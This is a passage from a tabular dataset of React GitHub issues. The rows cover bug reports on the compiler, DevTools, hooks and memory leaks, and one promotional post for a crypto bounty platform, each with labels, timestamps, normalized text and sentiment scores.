","Status: Unconfirmed,Resolution: Stale",2025-11-13 17:36:19+00:00,2026-04-15 13:36:28+00:00,7,"Status: Unconfirmed,Resolution: Stale",152.8334,reactflightasyncdebuginfo test can track async information when awaited fails due to snapshot mismatch react version experimental latest commit clone the react repository run the following test yarn test packages react server src tests reactflightasyncdebuginfo test js testnamepattern can track async information when awaited runinband verbose observe that the test fails due to a snapshot mismatch link to code example packages react server src tests reactflightasyncdebuginfo test js context snapshot mismatch in reactflightasyncdebuginfo test failing test case test can track async information when awaited async const result await someasyncfunction expect getdebuginfo result tomatchinlinesnapshot object value undefined implementation export async function someasyncfunction return value undefined actual output js object value undefined the current behavior the inline snapshot does not match the current output the test expects but receives the the test should pass and the snapshot should match the current output,bug,-0.0516
facebook/react,3617738041,[Compiler Bug]:  function are not memorized correctly.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAKgmDgIwAUAlEcADrFFyEVEDaCAHgA54YCADREwCHAFF+ghAF0iAXiJRxAZRwBDHAmoBWWsyIrxktGgS5qdJQD4GR463Y4i+ALYIYSsRICSmDowAG6aADbW9Ir2TCxOvlIyQtZ8QsFR9qkIwUQAtESUhnFEAL6ilAAMVUXxeGhE1LwCQkqKyhX0sfHGcGEImjABQaERHl41TiWOxkI4sMQ20ax9A0NeI9RjMBNlXE2ychNsmByEAMJheHAA1j6LMdPOJxB9AHRhEADm1ADkeGDSZoIAAmP1E-0BsmBO0cxw4EKSIJ8+xabXajlm8yIAB5gXgcudLjdFMBCVdriVlpowGAAHKaTyKRggHQ8HC5ITA3J6KrM2zAFEIErYgD0eOCtmYJRAwhAxzQeE+KBAeHcfAgMFcOAAnnwEAwiAAFMJQT54TAAeT4+HYpSIaBgEHcRB+ACNNK6EGFcnwTWbMBz+rhcmw1Xg+jAxf8cD8ANzMZjULpEEUi0MCMLaAiYACyEGBCGQRGZ4TCzKlYizYAV5CNfvNVptJ1osZl4AAFhAAO5rGCYcJgFBoAdCoA

### Repro steps

### Link to the code that reproduces this issue

https://github.com/promer94/incorrect-memo-fn-nextjs

### To Reproduce

1. build the application with `next build`
2. start the application with `next start`
3. click the numbers to see the console log


```jsx
function Test1() {
    const [expire, setExpire] = useState(5)
    useEffect(() => {
        const timer = setInterval(() => {
            setExpire((prev) => prev - 1... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-11-12 18:32:06+00:00,2025-12-05 19:29:07+00:00,2,"Type: Bug,Component: React Compiler",23.0396,compiler bug function are not memorized correctly what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps link to the code that reproduces this issue to reproduce build the application with start the application with click the numbers to see the console log jsx function test const expire setexpire usestate useeffect const timer setinterval setexpire prev prev truncated,bug,-0.1027
facebook/react,3615363899,💡 Platform Suggestion: Bounty System for React Library,"Hi React Library team! 👋

I wanted to share **Roxonn** - a decentralized bounty platform that could help accelerate development.

**What is Roxonn?**
✅ Turn GitHub issues into crypto bounties (XDC, USDC, ROXN)
✅ Notify 300+ developers instantly
✅ Auto-pay when PRs merge via blockchain
✅ Zero crypto setup needed

**Quick flow:**
1. Register repo (GitHub App install)
2. Fund pool with USDC (stable pricing)
3. Assign bounties to features/bugs
4. PR merged → automatic payment

**Why teams use it:**
- Access to active developer network
- **Only 1% total platform fee**
- Transparent blockchain payments

Learn more: **https://roxonn.com**

*No pressure - just sharing a resource!*",,2025-11-12 07:40:45+00:00,2025-11-16 08:49:50+00:00,0,nan,4.048,platform suggestion bounty system for react library hi react library team i wanted to share roxonn a decentralized bounty platform that could help accelerate development what is roxonn turn github issues into crypto bounties xdc usdc roxn notify developers instantly auto pay when prs merge via blockchain zero crypto setup needed quick flow register repo github app install fund pool with usdc stable pricing assign bounties to features bugs pr merged automatic payment why teams use it access to active developer network only total platform fee transparent blockchain payments learn more no pressure just sharing a resource,others,0.7923
facebook/react,3608205121,Bug: Memory leak in React input when external script or extension keeps references,"UDP: Please see the first comment  – the issue is triggered by third‑party code that keeps long‑lived references to DOM nodes. Below is the original issue description.

_____________

React input elements leak memory in Chrome when conditionally rendered. The leak occurs with ESM builds only (not UMD), and does not occur in Edge. The minimal workaround reduces but doesn't fully eliminate the leak. 

React version: tested on v**18** and v**19**

## Steps To Reproduce

Essentially the repro is as follows.

```js
function App() {
  const [isOpen, setIsOpen] = useState(false);
  return (
    <>
      <button onClick={() => setIsOpen(!isOpen)}>Toggle</button>
      {isOpen && <ModalWithInput />}
    </>
  );
}

function ModalWithInput() {
  return (
    <div>
      <input />
      <h3>Leaking text...</h3>
    </div>
  );
}
```

0. Make ESM build and run.
1. Open in Chrome (not Edge)
2. DevTools → Memory → Take heap snapshot
3. Force garbage collection and take snapshot 1
4. Click ""Toggle"" 20 times
5. Force garbage collection and take snapshot 2
6. Compare snapshot 2 to 1 and search for ""Detached""
7. Observe 10 Detached inputs and 10 h3 elements.

It means if you have a modal with hundreds of elements interacting with each other, you may easily fall into a serious issue. In my real case, 5 open/close operations led to ~1Mb leak.

I created a Stackblitz demo: https://stackblitz.com/edit/react-input-memory-leak.
Download it, build locally, run with vite (all included in the demo).
It... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-10 14:03:29+00:00,2026-02-26 12:18:35+00:00,4,"Status: Unconfirmed,Resolution: Stale",107.9272,memory leak in react input when external script or extension keeps references udp please see the first comment the issue is triggered by third party code that keeps long lived references to dom nodes below is the original issue description react input elements leak memory in chrome when conditionally rendered the leak occurs with esm builds only not umd and does not occur in edge the minimal workaround reduces but doesn t fully eliminate the leak react version tested on v and v essentially the repro is as follows make esm build and run open in chrome not edge devtools memory take heap snapshot force garbage collection and take snapshot click toggle times force garbage collection and take snapshot compare snapshot to and search for detached observe detached inputs and h elements it means if you have a modal with hundreds of elements interacting with each other you may easily fall into a serious issue in my real case open close operations led to mb leak i created a stackblitz demo download it build locally run with vite all included in the demo it truncated,bug,-0.5423
facebook/react,3605726681,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-10 01:04:18+00:00,2026-02-08 05:29:52+00:00,1,"Status: Unconfirmed,Resolution: Stale",90.1844,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3601979797,"Bug: Errors thrown from ""hidden"" Activity boundaries shouldn't escape the boundary","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->
The provided repro is a contrived example, but a common example of where this is unexpected is if you were using Activity to render a previously visited page, and that page rendered a hook that throws an error if it's missing some sort of context. 

In the case of Next.js, imagine we're grabbing route params via `useParams`, and we navigate to a route that no longer has that param available. When that subtree is switched to ""hidden"" mode, if any of the containing hooks/components threw an error when a param value is unavailable, that error would be triggered when navigating to the different page. 

React version: 19.2.0

## Steps To Reproduce

1. Render an `<Activity>` boundary in ""hidden"" mode, and have it throw an error
2. Observe that even though the containing component is hidden, the error escapes and causes an error while rendering the ""Visible"" element.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://codesandbox.io/p/devbox/distracted-poitras-yd3dkt

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  reposit... [TRUNCATED]",Status: Unconfirmed,2025-11-07 20:50:56+00:00,2025-11-07 23:23:18+00:00,1,Status: Unconfirmed,0.1058,errors thrown from hidden activity boundaries shouldn t escape the boundary of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed the provided repro is a contrived example but a common example of where this is unexpected is if you were using activity to render a previously visited page and that page rendered a hook that throws an error if it s missing some sort of context in the case of next js imagine we re grabbing route params via and we navigate to a route that no longer has that param available when that subtree is switched to hidden mode if any of the containing hooks components threw an error when a param value is unavailable that error would be triggered when navigating to the different page react version render an boundary in hidden mode and have it throw an error observe that even though the containing component is hidden the error escapes and causes an error while rendering the visible element your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a reposit truncated,bug,-0.9815
facebook/react,3601710064,[Proposal] Server-Side React Specification with Declarative Side-Effects and Query-Based Selectivity,"**Overview**

This proposal outlines a specification for server-side React code that brings together functional programming principles, declarative side-effects, and intelligent query-based data fetching to improve both developer experience and application performance.

---

**Motivation**

Modern server-side rendering approaches often separate data fetching logic from component logic, leading to waterfall requests and tight coupling between components and data sources. This proposal aims to address these challenges by introducing a unified approach that:

- Maintains React's declarative programming model on the server
- Provides performance efficiencies through document-scoped query optimization
- Allows client-side selectivity over response payloads
- Preserves functional programming principles throughout the stack

---

**Key Advantages**

**1. Functional Programming (FP) Approach**
- Pure, composable server components
- Predictable data transformations
- Easier testing and reasoning about server-side logic

**2. `useEffect` Declarative Side-Effects**
- Extends React's declarative model to server-side effects
- Unified mental model between client and server
- Explicit dependency tracking for server-side operations

**3. Document-Scoped Query Language**
- Single query optimization across component tree
- Automatic batching and deduplication of data requests
- Reduces round-trips and over-fetching
- Performance gains similar to GraphQL but integrated into React's component m... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-07 19:23:45+00:00,2026-02-12 21:11:46+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.075,proposal server side react specification with declarative side effects and query based selectivity overview this proposal outlines a specification for server side react code that brings together functional programming principles declarative side effects and intelligent query based data fetching to improve both developer experience and application performance motivation modern server side rendering approaches often separate data fetching logic from component logic leading to waterfall requests and tight coupling between components and data sources this proposal aims to address these challenges by introducing a unified approach that maintains react s declarative programming model on the server provides performance efficiencies through document scoped query optimization allows client side selectivity over response payloads preserves functional programming principles throughout the stack key advantages functional programming fp approach pure composable server components predictable data transformations easier testing and reasoning about server side logic declarative side effects extends react s declarative model to server side effects unified mental model between client and server explicit dependency tracking for server side operations document scoped query language single query optimization across component tree automatic batching and deduplication of data requests reduces round trips and over fetching performance gains similar to graphql but integrated into react s component m truncated,feature,0.9246
facebook/react,3599416556,[Compiler Bug]: Update issue for nested objects,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAQzDATwF5dgAdDXXDfAWwWV0pABUEc2Aaa2-ABNBMLmBZUatXDlEkWbfPjb9cAX2oaM1BAA8ADhBh5BCAGb4oAGzxmoGONgCWmXAFkAngEF9+gBQAlBSq6Fh4ANo4+NgIXkQkPDIkAMrY0bHx2AC6uORQxKnpfoTE2AGqdg7OrlD6gkVBktIEmQB0QiJirbIIJLmsIABGgypStKWFMXGlfsCt8yUkauVSWqqi2LA0ADyCTgBuAHzAUVNt9Exq24MwAPSHqrQnaWel7cKiRN3YcthqFLcAFS4bYAWnBuGwAAsnGBcABzEhw2r1GKCXCA25aZrPdLTEjvTpEXAAMhJIL2R0e0lxrwJHU+YG+v3+wCBIPBoMhMLhiOwcIwEDwKPS6Mx2Ok21ulMOEto2ycGH0UDw2A8+gQpDYgxV2EwbFwmAAwlYnHAANakYAimJqQ4AVTq6WpUsVyuwDykUplAG5NNQAxgQDw0JgzE54SgQE4GIZjJD1QgKLgAApWKDwxUAeX01Sw6lwZhgEAYuAA5IN8IMEFZQfp05mMKDRPhHKD0LGnFYEHc9jgy37tBhZqpbrcO-ou9EXBg3BBTAoQPgrFZRv8wNOwOGuKmG9nczOwAEfcHwFCIAB3ACSGBiMHoVjAKAsj4QaiAA

### Repro steps

If update button gets clicked, first street gets updated, but not the second one.

This seems to me unexpected behaviour.

### How often does this bug happen?

Every time

### What version of React are you using?

react 19

### What version of React Compiler are you using?

1.0",Type: Question,2025-11-07 09:18:09+00:00,2025-11-07 16:36:21+00:00,2,Type: Question,0.3043,compiler bug update issue for nested objects what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps if update button gets clicked first street gets updated but not the second one this seems to me unexpected behaviour how often does this bug happen every time what version of react are you using react what version of react compiler are you using,bug,-0.6369
facebook/react,3595352461,Bug: wrong module identifer,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1.
Create a component: 
```js
import { useEffect } from ""react"";
import type { ReactElement } from ""react"";

type Props = {
  register: (
    position: ""header"" | ""body"" | ""footer"",
    element: ReactElement,
  ) => void;
};

function Bar({ register }: Props) {
  useEffect(() => register(""header"", <PluginRender />));
  return null;
}

const PluginRender = () => {
  return (
    <div>
      <button>
        degrees
      </button>
    </div>
  );
};

export default Bar;
```
 
2. build it with vitejs

3. import bundled file from another react project
<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

`[2025-11-06T11:11:57Z ERROR script... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-06 11:18:14+00:00,2026-02-20 21:06:47+00:00,2,"Status: Unconfirmed,Resolution: Stale",106.4087,wrong module identifer of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version create a component build it with vitejs import bundled file from another react project your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior t z error script truncated,bug,-0.8689
facebook/react,3594805628,"[DevTools Bug]: DevTools in Edge constantly display ""Looks like this page doesn't have React, or it hasn't been loaded yet.""","### Website or app

https://github.com/mgrosperrin/repro_issues/tree/react-dev-tools-edge

### Repro steps

1. Run `npm run dev`
2. In Edge, open the DevTools and go to the ""Components"" or ""Profiler"" tabs

Additionaly when I go back to the ""Sources"" built-in tabs, it was completly empty like if he crashed.

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-11-06 09:02:02+00:00,2025-11-09 14:04:07+00:00,14,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",3.2098,devtools bug devtools in edge constantly display looks like this page doesn t have react or it hasn t been loaded yet website or app repro steps run in edge open the devtools and go to the components or profiler tabs additionaly when i go back to the sources built in tabs it was completly empty like if he crashed how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9468
facebook/react,3587589589,Bug:  Getting `Cannot access refs during render` error from event handler.,"So on react official documentations, I found, it recommend to avoid direct read  or write during render on ref.  

Here is the docs link (under pitfall)-
https://react.dev/reference/react/useRef

And here I also found that ref is safe to use on event handler or effect.

`You can read or write refs from event handlers or effects instead.`

So, we can read `ref.current` from a onSubmit handler as it is a event handler. But when I combine it with `react-hook-form` I am getting the lint error with following context-

```
error  Error: Cannot access refs during render

React refs are values that are not needed for rendering. Refs should only be accessed outside of re
nder, such as in event handlers or effects. Accessing a ref value (the `current` property) during r
ender can cause your component not to update as expected (https://react.dev/reference/react/useRef)
```

So What I am doing on my code(see code)-

```javascript
const onSubmit: SubmitHandler<ReceiptFormInput> = async (value) => {
    let sigUrl: string;
    if (sig) {
        const { blob } = await upload(ref.current?.toFile());
        sigUrl = blob?.url || """"
    } else {
        sigUrl = item.signature
    }
    if (template) {
        mutate({
            ...value,
            templateId: template.templateId,
            previewUrl: template.previewUrl,
            signature: sigUrl,
            id: item.id
        });
    }
}
```

this onSubmit handler is triggering from `form`

```javascript
<form onSubmit={handle... [TRUNCATED]",Status: Unconfirmed,2025-11-04 17:36:26+00:00,2025-11-14 17:00:35+00:00,5,Status: Unconfirmed,9.9751,getting error from event handler so on react official documentations i found it recommend to avoid direct read or write during render on ref here is the docs link under pitfall and here i also found that ref is safe to use on event handler or effect so we can read from a onsubmit handler as it is a event handler but when i combine it with i am getting the lint error with following context so what i am doing on my code see code this onsubmit handler is triggering from javascript form onsubmit handle truncated,bug,-0.5994
facebook/react,3585622687,Bug: IntersectionObserver causing effect to run again even when dependencies don't change,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

On using an intersection observer in useEffect hook, the effect runs again even when the dependencies have not changed at all.

React version:
18.0.0

## Steps To Reproduce

1. Go to the sandbox link.
2. Open up the console, press the ""change"" button

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

https://codesandbox.io/p/sandbox/practical-andras-nspr6p



## The current behavior

The effect with intersection observer setup is run twice despite the dependencies not changing between the 2 runs.

## The expected behavior

The effect with intersection observer observer setup should have run only once.
","Status: Unconfirmed,Resolution: Stale",2025-11-04 09:33:26+00:00,2026-02-15 11:07:06+00:00,5,"Status: Unconfirmed,Resolution: Stale",103.065,intersectionobserver causing effect to run again even when dependencies don t change of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed on using an intersection observer in useeffect hook the effect runs again even when the dependencies have not changed at all react version go to the sandbox link open up the console press the change button your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the effect with intersection observer setup is run twice despite the dependencies not changing between the runs the the effect with intersection observer observer setup should have run only once,bug,-0.7003
facebook/react,3580287979,Bug: useEffectEvent having different behaviors when used with memo and without memo,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0

## Steps To Reproduce

1. Wrap components with memo

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://codesandbox.io/p/sandbox/damp-dust-skq4hf

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

Having different behaviors

![Image](https://github.com/user-attachments/assets/9e1814e5-3fa5-407e-afc1-52d874b80084)

## The expected behavior

Having the same behavior
","Type: Bug,Component: Reconciler",2025-11-03 01:59:31+00:00,2026-03-12 03:02:44+00:00,8,"Type: Bug,Component: Reconciler",129.0439,useeffectevent having different behaviors when used with memo and without memo of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version wrap components with memo your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior having different behaviors image the having the same behavior,bug,-0.7003
facebook/react,3578962280,Typo in comment: “untill” → “until” in ReactDOMRoot.js,"**Describe the issue**
There’s a small typo in a comment inside `packages/react-dom/src/client/ReactDOMRoot.js`.

Example:
```js
// NOTE: This is a workaround untill concurrent features are stabilized
","Status: Unconfirmed,Resolution: Stale",2025-11-02 04:50:27+00:00,2026-04-16 03:09:15+00:00,5,"Status: Unconfirmed,Resolution: Stale",164.9297,typo in comment untill until in reactdomroot js describe the issue there s a small typo in a comment inside example js note this is a workaround untill concurrent features are stabilized,others,0.0
facebook/react,3574912264,Bug: &copysr; is escaped as text,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0

## Steps To Reproduce

Put `&copysr;` into any react component text, or use this minimal component:
```
const Test = () => { return (<>&copysr;</>); }
```

Link to example: https://codesandbox.io/p/devbox/snowy-tree-xwdkyk

## The current behavior

The page shows the text ""&amp;copysr;""

## The expected behavior

The page should show &copysr;

## Current Workaround

Input `&#8471;` to get &#8471;.","Status: Unconfirmed,Resolution: Stale",2025-10-31 13:14:00+00:00,2026-02-09 03:06:20+00:00,5,"Status: Unconfirmed,Resolution: Stale",100.578,copysr is escaped as text of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version put into any react component text or use this minimal component link to example the current behavior the page shows the text amp copysr the the page should show copysr current workaround input to get,bug,0.1531
facebook/react,3574323935,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-10-31 10:22:54+00:00,2026-01-29 16:23:24+00:00,1,"Status: Unconfirmed,Resolution: Stale",90.2503,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3570950161,Bug: useEffect does not run twice due to remounting in strict mode and dev run,"useEffect does not run twice in strict mode and dev run due to the remount semantic.

React version: 19.1.1

```tsx
function DebugMount() {
  useEffect(() => {
    console.log('[DebugMount] mounted');
    return () => console.log('[DebugMount] cleanup');
  }, []);
  return null;
}


function App() {
   return <DebugMount/>;
}

createRoot(document.getElementById('root')!).render(
   <StrictMode>
      <App/>
   </StrictMode>
);
```

## The current behavior
useEffect does not run twice on with remount behavior in strict mode and dev run.

## The expected behavior
it should run twice
","Status: Unconfirmed,Resolution: Stale",2025-10-30 14:01:22+00:00,2026-02-14 11:07:03+00:00,4,"Status: Unconfirmed,Resolution: Stale",106.8789,useeffect does not run twice due to remounting in strict mode and dev run useeffect does not run twice in strict mode and dev run due to the remount semantic react version the current behavior useeffect does not run twice on with remount behavior in strict mode and dev run the it should run twice,bug,0.0
facebook/react,3569158659,Bug: View Transitions occasionally stall with default `onDefaultTransitionIndicator`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

The default `onDefaultTransitionIndicator` seems to sporadically stall view transitions. This does not occur with a custom `onDefaultTransitionIndicator` handler.

This occurs in Chrome, and Safari with the ""Navigation API"" feature flag enabled. This doesn't occur in Firefox because it doesn't support the Navigation API yet.
| Chrome | Safari |
| ------------- | ------------- |
| <video src=""https://github.com/user-attachments/assets/5d735ec8-3da5-42da-bed2-70f265aaecdf""> | <video src=""https://github.com/user-attachments/assets/feed3a27-4f71-4557-9cb0-dc3a78a10a4c""> |

The error message in development is a bit more descriptive:
```
Uncaught Error: A ViewTransition timed out because a Navigation stalled. This can happen if a Navigation is blocked on React itself. Such as if it's resolved inside useEffect. This can be solved by moving the resolution to useLayoutEffect.
    at customizeViewTransitionError (react-dom-client.development.js:25585:20)
    at react-dom-client.development.js:25783:24Caused by: TimeoutError: Transition was aborted because of timeout in DOM update
```
While the code example implements a custom router which also intercepts navigation events, it resolves them correctly inside `useLayoutEffect()`. Moreover, adding a custom `on... [TRUNCATED]","Component: DOM,Resolution: Stale",2025-10-30 06:46:48+00:00,2026-05-06 17:35:01+00:00,6,"Component: DOM,Resolution: Stale",188.4502,view transitions occasionally stall with default of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed the default seems to sporadically stall view transitions this does not occur with a custom handler this occurs in chrome and safari with the navigation api feature flag enabled this doesn t occur in firefox because it doesn t support the navigation api yet chrome safari video src video src the error message in development is a bit more descriptive while the code example implements a custom router which also intercepts navigation events it resolves them correctly inside moreover adding a custom on truncated,bug,-0.0036
facebook/react,3564769658,'Splitter' button is not accessible using keyboard in windows.,"**Test Environment:**
OS: Windows 11 Version 25H2 (OS Build 26200.6584)
Browser: Edge (Version 142.0.3595.33)
URL: https://bryntum.com/products/schedulerpro/examples-scheduler/frameworks/react/javascript/simple/build/

**User Impact:**
Keyboard-only users cannot access the Splitter button, preventing them from resizing panels or adjusting layout. This creates barriers for users with motor disabilities and screen reader users also.

**Repro Steps:**

1. Open the URL: https://bryntum.com/products/schedulerpro/examples-scheduler/frameworks/react/javascript/simple/build/ in edge in windows.
2. Bryntum Schedular page will open.
3. Press tab key to reach the spiltter control.
4. Observe that 'Splitter' button is accessible using keyboard or not.

**Actual Result:**
While navigating using tab key, keyboard focus is not moving to 'Splitter' control.

**Refer Attachment:**

1. 'Splitter' button is not accessible using keyboard in windows.png
2. 'Splitter' button is not accessible using keyboard in windows.mp4

https://github.com/user-attachments/assets/e7886dce-a945-423a-a7af-15a52606feac
<img width=""960"" height=""538"" alt=""Image"" src=""https://github.com/user-attachments/assets/d857cdc6-197c-4324-bf33-9a769dde88a9"" />

**Expected Result:**
'Splitter' button should be accessible using keyboard in windows.","Status: Unconfirmed,Resolution: Stale",2025-10-29 07:49:33+00:00,2026-04-16 08:38:32+00:00,3,"Status: Unconfirmed,Resolution: Stale",169.034,splitter button is not accessible using keyboard in windows test environment os windows version h os build browser edge version url user impact keyboard only users cannot access the splitter button preventing them from resizing panels or adjusting layout this creates barriers for users with motor disabilities and screen reader users also repro steps open the url in edge in windows bryntum schedular page will open press tab key to reach the spiltter control observe that splitter button is accessible using keyboard or not actual result while navigating using tab key keyboard focus is not moving to splitter control refer attachment splitter button is not accessible using keyboard in windows png splitter button is not accessible using keyboard in windows mp expected result splitter button should be accessible using keyboard in windows,others,0.5537
facebook/react,3564059558,Bug: React 19 Uncaught TypeError: Do not know how to serialize a BigInt,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1. Set props with bigint

```ts
import { useCallback, useState } from 'react';

interface ServiceItem {
  name: string;
  regionIds: bigint[];
}

interface MachineItem {
  name: string;
  services: ServiceItem[];
}

interface MachineItemProps {
  machine: MachineItem;
}

function Machine(props: MachineItemProps) {
  return (
    <>
      <p>{props.machine.name}</p>
      {props.machine.services.map(service => (
        <p key={service.name}>{service.name}</p>
      ))}
    </>
  );
}

export default function Page() {
  const [update, setUpdate] = useState(0);
  const [machine, setMachine] = useState(() => {
    return {
      name: 'machine1',
      services: [
        {
          name: 'service1',
          regionIds: [31321968590458880n]
        }
      ]
    };
  });

  const onClick = useCallback(() => {
    setUpdate(update => ++update);

    setMachine(() => {
      return {
        name: 'machine2',
        services: [
          {
            name: 'service2',
            regionIds: [31321968590458881n]
          }
        ]
      };
    });
  }, []);

  return (
    <>
      <Machine machine={machine} />
      <button onClick={onClick}>Update {update}</button>
    </>
  );
}
```

<!--
